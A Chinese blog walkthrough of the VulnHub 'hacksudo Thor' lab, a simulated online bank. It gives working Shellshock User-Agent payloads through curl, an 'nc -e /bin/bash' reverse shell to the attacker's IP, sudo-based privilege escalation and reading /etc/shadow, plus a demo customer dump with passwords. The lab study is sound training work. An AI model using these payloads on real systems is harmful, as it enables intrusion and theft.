草庐IT

第十二次打靶

我想对你说 2023-03-28 原文

靶机介绍

1)靶机地址:https://download.vulnhub.com/hacksudo/hacksudo---Thor.zip

2)靶机难度:中

3)打靶目标: 取得 root 权限 + Flag

4)涉及攻击方法:主机发现、端口扫描、WEB目录爬取、开源源码泄漏、默认帐号密码、业务逻辑漏洞、SQL注入、破壳漏洞、GTFOBins提权

5)靶机简介:这是一个模拟在线银行系统的靶机。将通过信息收集的手段,发现并获取托管在公开代码服务器上的程序源码。进而通过源码审计,获得系统关键帐号的密码。该靶机虽然也存在SQL注入等常见漏洞类型,但要想突破边界打点成功,则需要掌握破壳漏洞的攻击方法。通过本次靶机将学习到破壳漏洞的原理,以及通过WEB渠道利用该漏洞的具体方法。该靶机的提权方法具有新意,将利用操作系统自身命令的权限漏洞来实现提权。除了技术性的漏洞之外,还结合自己的实际工作经验,向大家介绍了部分高危的逻辑漏洞类型。成功利用某些逻辑漏洞,攻击者可以直接从在线系统中偷钱,给企业造成直接的经济损失。作为系统的安全建设者,我们必须要关注和掌握的这些漏洞类型。

打靶过程

1)主机发现:靶机IP为192.168.56.11

# arp-scan -l

2)全端口扫描

# nmap -p- 192.168.56.11

3)服务版本扫描

# nmap -p21,22,80 -sV -sC 192.168.56.119

4)浏览器访问靶机的80端口:根据页面提示信息,返回的是一个在线银行的系统

浏览器:http://192.168.56.119/

①尝试通过admin/admin、admin/123456等弱口令进行登录,无法成功登录

②点击该系统的其他链接,如NEWS中也未发现其他信息,在CONTACT中发现了一些电话号码,邮件信息(在实际的渗透测试过程中,要记录下这些内容,因为有可能平台的登录账号就是员工的手机号或者银行账号)

③查看首页源码查看:发现在根目录下存在一个images的目录,里面都是图片文件。首页面源码中未发现其他有用的信息

④查看NEWS页面源代码中,发现了一个cgi-bin的注释信息。

补充:cgi可以在web服务器端使用web应用程序来处理客户端提交的请求的开发技术,比较常见的web应用程序接口通常可以使用操作系统的shell脚本来处理客户端提交上来的一些请求,如客户端提交一个请求,会去访问CGI目录下的一个CGI的文件,将自己的请求发给这个文件,这个文件就会调用操作系统的shell来解析客户端提交上来的数据请求。通过这种方法可以简化web应用程序的开发难度。通过如果使用CGI的技术,那么在web程序中就会存在x.x.x.x/cgi-bin/xxx.cgi或者x.x.x.x/cgi-bin/xxx.sh的文件

浏览器直接访问:http://192.168.56.119/cgi-bin/

返回了403,说明当查看文件目录下的所有文件内容列表时被拒绝了,说明目录存在,但是因为没有权限,导致无法请求当前目录下的文件列表。但是并不意味着请求该目录下某个具体文件时,服务器端也会拒绝。

破壳漏洞:利用整个web程序软件架构中的一部分可以执行代码的软件组件,通过这种漏洞来实现代码的执行,反弹shell的效果(原理见下方)

5)对web程序进行目录爬取

# dirsearch -u http://192.168.56.119

①通过扫描出的README.md可以查看到该web系统的基本信息:该文档中,给出了web程序源码地址和数据库信息

②通过上述信息,在github上查看源码信息:说明了web程序初始搭建后的用户名和密码

https://github.com/zakee94/online-banking-system

尝试通过该用户名和密码登录web应用程序,发现无法正常登录

③在目录爬取,以及源码查看中都存在一个admin_login.php的文件,通过浏览器直接访问该文件,并上述发现的用户名admin,密码password123尝试登录,发现可以登入

http://192.168.56.119/admin_login.php

6)登入后台后,发现可以添加用户,输入需要添加的用户进行,进行提交后,返回如下报错,说明此处可能存在SQL注入漏洞,但是此处的SQL注入漏洞,无法直接突破边界,拿到操作系统的shell,所以此处不进行此处的SQL注入。同时在Manage Customers也存在SQL注入

此处已经可以获取到web应用程序后台管理员的信息,即使SQL注入成功,也不会获取到其他对渗透测试更有价值的信息了。

通过托管在github上的源码信息,可以找到目标靶机web系统默认的用户和密码。在Manage Customers页面也可以查看到这些用户的账号和免密

INSERT INTO `customer` VALUES (1,'Nafees','Zakee','male','1994-11-28',123456789,'zakee.nafees@gmail.com','+91 8918722499','22/10, Secondary Road, Durgapur - 713204','delhi',1122334455,1234,'zakee94','nafees123'),(2,'Md Salman','Ali','male','1994-10-11',987654321,'ali.salman@gmail.com','+966 895432167','Al Ahsa Street Malaz, King Abdulaziz Rd, Alamal Dist. RIYADH 12643-2121.','riyadh',1133557788,1234,'salman','salman123'),(3,'Tushar','Kr. Pandey','male','1995-02-03',125656765,'tusharpkt@gmail.com','+334 123456987','Champ de Mars, \r\n5 Avenue Anatole France, \r\n75007 Paris, France','paris',1122338457,1357,'tushar','tushar123'),(4,'Jon','Snow','male','1985-02-03',129156787,'jon.snow@gmail.com','+1 8918332797','The Night Watch,\r\nKing in the North,\r\nThe North Remembers,\r\nWesteros.','newyork',1233556739,1234,'jon','snow123');

7)通过普通用户登入系统后,可直接进行转账操作:转账密码使用登录密码即可成功转账。此处攻击者可以自己注册一个账号,然后通过被攻击者的账户直接向攻击者账户进行转账,之后攻击者再进行提现操作

安全问题:只要用户账号泄露,那么资金就会出现安全问题

8)破壳漏洞原理:

shell:通过在登录系统后吗,都会获取到一个shell的命令提示行,通过shell可以解析并执行操作系统命令。linux中最基础的shell程序为sh,现在使用较多的shell程序为bash、zsh。

环境变量:在bash中存在一个环境变量的感念,通过env命令可以查看当前操作系统已经定义好的环境变量。通过echo $变量名 可以查看变量具体的值,如

# echo $SHELL
/usr/bin/zsh

①在shell中也可以自定义环境变量

# export x="Hello World"
# echo $x               
Hello World

②在shell中也可以定义一些函数,在函数中执行一些操作的集合。然后去调用函数

# w() { echo "Hello $USER, today is data: "; date; }
# w                                                 
Hello root, today is data: 
Sun Feb  5 10:47:33 PM EST 2023

破壳漏洞:要想利用破壳漏洞,可以将环境变量的定义和函数的定义两者结合,将一个函数的定义赋值给一个环境变量,那么当通过bash调用去执行环境变量内容时,就会导致这个环境变量中的内容被执行

# export x="() { echo \"hello $USER, today is date: \"; date }"
# bash -c 'x'

注:对于较新的操作系统中,有可能该漏洞被修复

原理:bash在解析环境变量当中引用的函数定时时,过滤和函数定义的界限不清晰造成的漏洞。该漏洞最根本的原有是存在于bash这个shell程序当中的,并不是存在于web应用程序当中的。

​ 如果web应用程序和bash程序之间有关连,即如果web应用程序使用了cgi技术,通过web应用程序的引用,引用了操作系统的bash,来处理操作系统的一些指令,那么就可以把http服务作为可以实现访问操作系统shell,向操作系统shell提交环境变量的定义,从而在环境变量定义中引入其他的函数定义,实现目标的手段

​ 在这个过程中,http服务就相当于一条通道,它打开了通往操作系统shell的通道,该通道就是通过cgi引用的方式来最终实现

​ 在cgi-bin的路径下去寻找一些扩展名可能是cgi或sh的文件,如果存在这些文件,说明这个web应用程序所引用的外部应用程序就是操作系统的shell。如果恰好目标操作系统使用的shell程序为bash,且版本较老,那么就可能存在破壳漏洞,没有对环境变量中引用的函数定义进行过滤,那么就可以通过cgi去执行一些操作系统的命令,进而进行反弹shell

9)在cgi-bin的路径下去寻找一些扩展名可能是cgi或sh的文件

#凡是在cgi-bin目录下,后缀为cgi或者sh的文件都进行爬取
# dirsearch -u http://192.168.56.119/cgi-bin/ -f -e cgi,sh

5XX响应码表示服务器端报错,500是表示服务器端可以接受客户端提交的数据请求,但是服务器端处理这些请求时,没有办法正常处理。但是可以说明文件是存在的

10)通过nmap工具的http-shellshock脚本验证是否存在破壳漏洞

#如果存在破壳漏洞就会执行cmd中设置的命令,即ls
# nmap -sV -p80 --script http-shellshock --script-args uri=/cgi-bin/shell.sh,cmd=ls 192.168.56.119
# nmap -sV -p80 --script http-shellshock --script-args uri=/cgi-bin/backup.cgi,cmd=ls 192.168.56.119

通过扫描,确定了目标靶机上存在破壳漏洞

11)通过在UA头部中使用函数定义,来执行命令,检查nc命令是否存在

# curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'which nc'" \http://192.168.56.119/cgi-bin/shell.sh

通过上述命令可100%确认,操作系统存在破壳漏洞

12)反弹shell,突破边界

# nc -nvlp 4444
# curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'nc -e /bin/bash 192.168.56.103 4444'" \http://192.168.56.119/cgi-bin/shell.sh

13)实现shell的升级

python3 -c 'import pty;pty.spawn("/bin/bash")'

14)查看sudo权限是否存在漏洞

$ sudo -l

检查发现,不需要密码就可以执行.hammer.sh脚本文件

15)通过thor用户去执行.hammer.sh脚本文件,并在输入内容的地方,随便输入内容

$ sudo -u thor /home/thor/./hammer.sh

多次输入内容,测试发现,当在massage处输入命令后,会以thor用户的身份去执行

16)按照上述方式,输入bash命令,获取到thor用户的shell,并进行shell的升级

$ sudo -u thor /home/thor/./hammer.sh
python3 -c 'import pty;pty.spawn("/bin/bash")'
id

17)在thor这个用户下,检查其sudo权限

$ sudo -l

可以以root的身份去执行/usr/bin/cat、/usr/sbin/service

18)通过sudo查看用户密码文件

$ sudo cat /etc/shadow

19)利用service命令可以直接提权至系统的root权限

$ sudo service ../../bin/bash

补充:https://gtfobins.github.io/

上述网站中,总结了所有在操作系统中,如果哪一个程序权限配置不当,都可以使用该程序,将当前权限提升为root权限

20)获取flag

# cd /root
# ls
proof.txt  root.txt
# cat root.txt

有关第十二次打靶的更多相关文章

  1. 十二.四轮车驱动开发之五: 由浅至深理解6轴陀螺仪姿态解算算法<上> - 2

    这是”四轮车驱动控制”系列,分多个小节来介绍:1.八.四轮车驱动开发之一:正/逆向运动学分析2.九.四轮车驱动开发之二:配置PWM驱动直流电机3.十.四轮车驱动开发之三:巧用编码器获取电机转速信息4.十一.四轮车驱动开发之四:理解直流电机PID控制器5.十二.四轮车驱动开发之五:由浅至深理解6轴陀螺仪姿态解算算法(上)  十三.四轮车驱动开发之五:由浅至深理解6轴陀螺仪姿态解算算法(中)  十四.四轮车驱动开发之五:由浅至深理解6轴陀螺仪姿态解算算法(下) ==================================================================   

  2. 尚医通-阿里云oss-认证接口开发-前端整合(三十二) - 2

    目录:(1)前台用户系统-阿里云OSS介绍(2)阿里云oss代码入门案例(3)上传文件到阿里云oss-接口开发(4)用户认证-接口开发(5)用户认证-前端整合(1)前台用户系统-阿里云OSS介绍扫码登录后显示用户的昵称,点击下面会显示一些下拉列表,下面完成这些功能 实名认证:在里面申请某些事情,注册某些软件,需要用到某些功能,需要做一个实名认证,比如说填写你的信息,上传身份证号等等,进行认证,提交之后由平台审核,审核通过之后才能进行预约挂号操作挂号订单:通过它可以看到当天用户曾经挂了哪些号,号是什么样的信息就诊人管理:在挂号的时候可以填写由谁挂号,在注册用户里面可以添加多个就诊人,比如说把父母

  3. 院士联合指导+超强专家阵容+丰厚奖金机会,第十二届“麒麟杯”大赛报名正式开启! - 2

    当前,开放、协作、共享的开源模式已成为全球软件技术和产业创新的主导,也为信息技术国产自主化提供了强大助力。高校师生作为国产开源建设的主要技术群体之一,是国产开源未来发展的中坚力量。2023年第十二届“麒麟杯”全国开源应用软件开发大赛在中国软件行业协会、开放原子开源基金会、中国计算机学会开源发展委员会、中国开源软件推进联盟的指导下,由openKylin开源社区、麒麟软件有限公司、国防科技大学、信创海河实验室联合主办。赛事指导委员会邀请了倪光南(中国工程院院士)、陆首群(中国开源软件推进联盟名誉主席)、吾守尔·斯拉木(中国工程院院士)、郑纬民(中国工程院院士)、廖湘科(中国工程院院士)、王怀民(中

  4. Redis(十二)SpringBoot集群搭建redis【主从复制&哨兵模式】 - 2

    十二、SpringBoot实现主从复制12.1首先要在Linux虚拟机上安装redis#安装包存放目录cd/usr/local/redis#下载最新稳定版wgethttps://download.redis.io/releases/redis-6.2.6.tar.gz#解压tar-zxvfredis-6.2.6.tar.gz#进入解压后的目录cd/usr/local/redis/redis-6.2.6/#编译make#执行"makeinstall"默认会安装到/usr/local/bin,可通过PREFIX指定安装路径makeinstallPREFIX=/usr/local/redis#测试是

  5. [第十二届蓝桥杯/java/算法]F——时间显示 - 2

    🧑‍🎓个人介绍:大二软件生,现学JAVA、Linux、MySQL、算法 💻博客主页:渡过晚枫渡过晚枫👓系列专栏:[编程神域C语言],[java/初学者],[蓝桥杯]📖阶段目标:备战2023蓝桥杯java个人赛 👻不能逃避,不能逃避,不能逃避,去成为更好的自己!👻一、🍁题目描述:小蓝要和朋友合作开发一个时间显示的网站。在服务器上,朋友已经获取了当前的时间,用一个整数表示,值为从1970年1月1日00:00:00到当前时刻经过的毫秒数。现在,小蓝要在客户端显示出这个时间。小蓝不用显示出年月日,只需要显示出时分秒即可,毫秒也不用显示,直接舍去即可。给定一个用整数表示的时间,请将这个时间对应的时分秒输

  6. Spring Boot学习篇(十二) - 2

    SpringBoot学习篇(十二)shiro安全框架使用篇(四)2在主页显示用户登录状态、用户信息和完成默认注销(不改shiro原来的配置)操作2.1变更SysUserController类2.1.1在SysUserController类中注入sysUserMapper@AutowiredSysUserMappersysUserMapper;2.1.2在SysUserController类中的login()方法下面需要增加的代码SysUserusers=sysUserMapper.findUserByUsername(username);session.setAttribute("users"

  7. 云原生(十二) | Kubernetes篇之Kubernetes基础入门 - 2

    文章目录Kubernetes基础入门一、基础知识二、部署一个应用三、应用程序探索

  8. 第十二届蓝桥杯B组省赛真题题解与考点总结 - 2

    前言第12届蓝桥杯也是我第一次参加的蓝桥杯比赛,当时做的其实挺差的,水平有限也补不了题,时隔一年为了准备第13届蓝桥杯,打算把近几年的蓝桥杯真题给补了,但是找遍全网发现也没有一个相对完整的题解,于是就产生了自己动手写题解的想法。试题A:空间考点计算机常识,计算机常识也是第一次出现在蓝桥杯的填空题当中,这在往年是没有的,往年第一题通常是一道简易的签到题。答案:67108864题解1MB=1024KB1KB=1024B1B=8位所以存放32位元素可以存放256*1024*1024*8/32试题B:卡片考点数位截取,数位截取可以说是基本中的基本了,蓝桥杯也多次考察属于是必须掌握的内容。这里还需要注意

  9. 【Abp VNext】实战入门(十二):【1】角色权限管理 —— 后端对应的框架结构表讲解 - 2

    文章目录一、前言二、默认用户管理、角色管理界面预览三、AbpVnext后端结构表讲解1.用户表(abpusers):2.角色表(abproles):3.用户角色表(abpuserroles):4.具体权限授权记录表(abppermissiongrants):5.具体功能表:四、总结一、前言搞开发必然离不开角色权限环节,AbpVnext项目已经默认集成了角色权限管理模块,去官网下载模板项目,运行起来采用默认账号密码登录即可看到用户管理和角色管理功能;二、默认用户管理、角色管理界面预览用户管理:用户所属角色管理:用户具体权限编辑:角色管理:角色权限管理:三、AbpVnext后端结构表讲解1.用户表

  10. 基于FFmpeg的视频播放器之十二:seek - 2

    seek是播放器的常用操作,也是衡量播放器好坏的重要标志之一。一.效果下面是对正在播放的4K视频执行seek操作二.原理1.av_seek_frameFFmpeg提供了av_seek_frame函数来执行seek操作,函数定义如下所示:/** *Seektothekeyframeattimestamp. *'timestamp'in'stream_index'. * *@paramsmediafilehandle *@paramstream_indexIfstream_indexis(-1),adefault *streamisselected,andtimestampisautomatica

随机推荐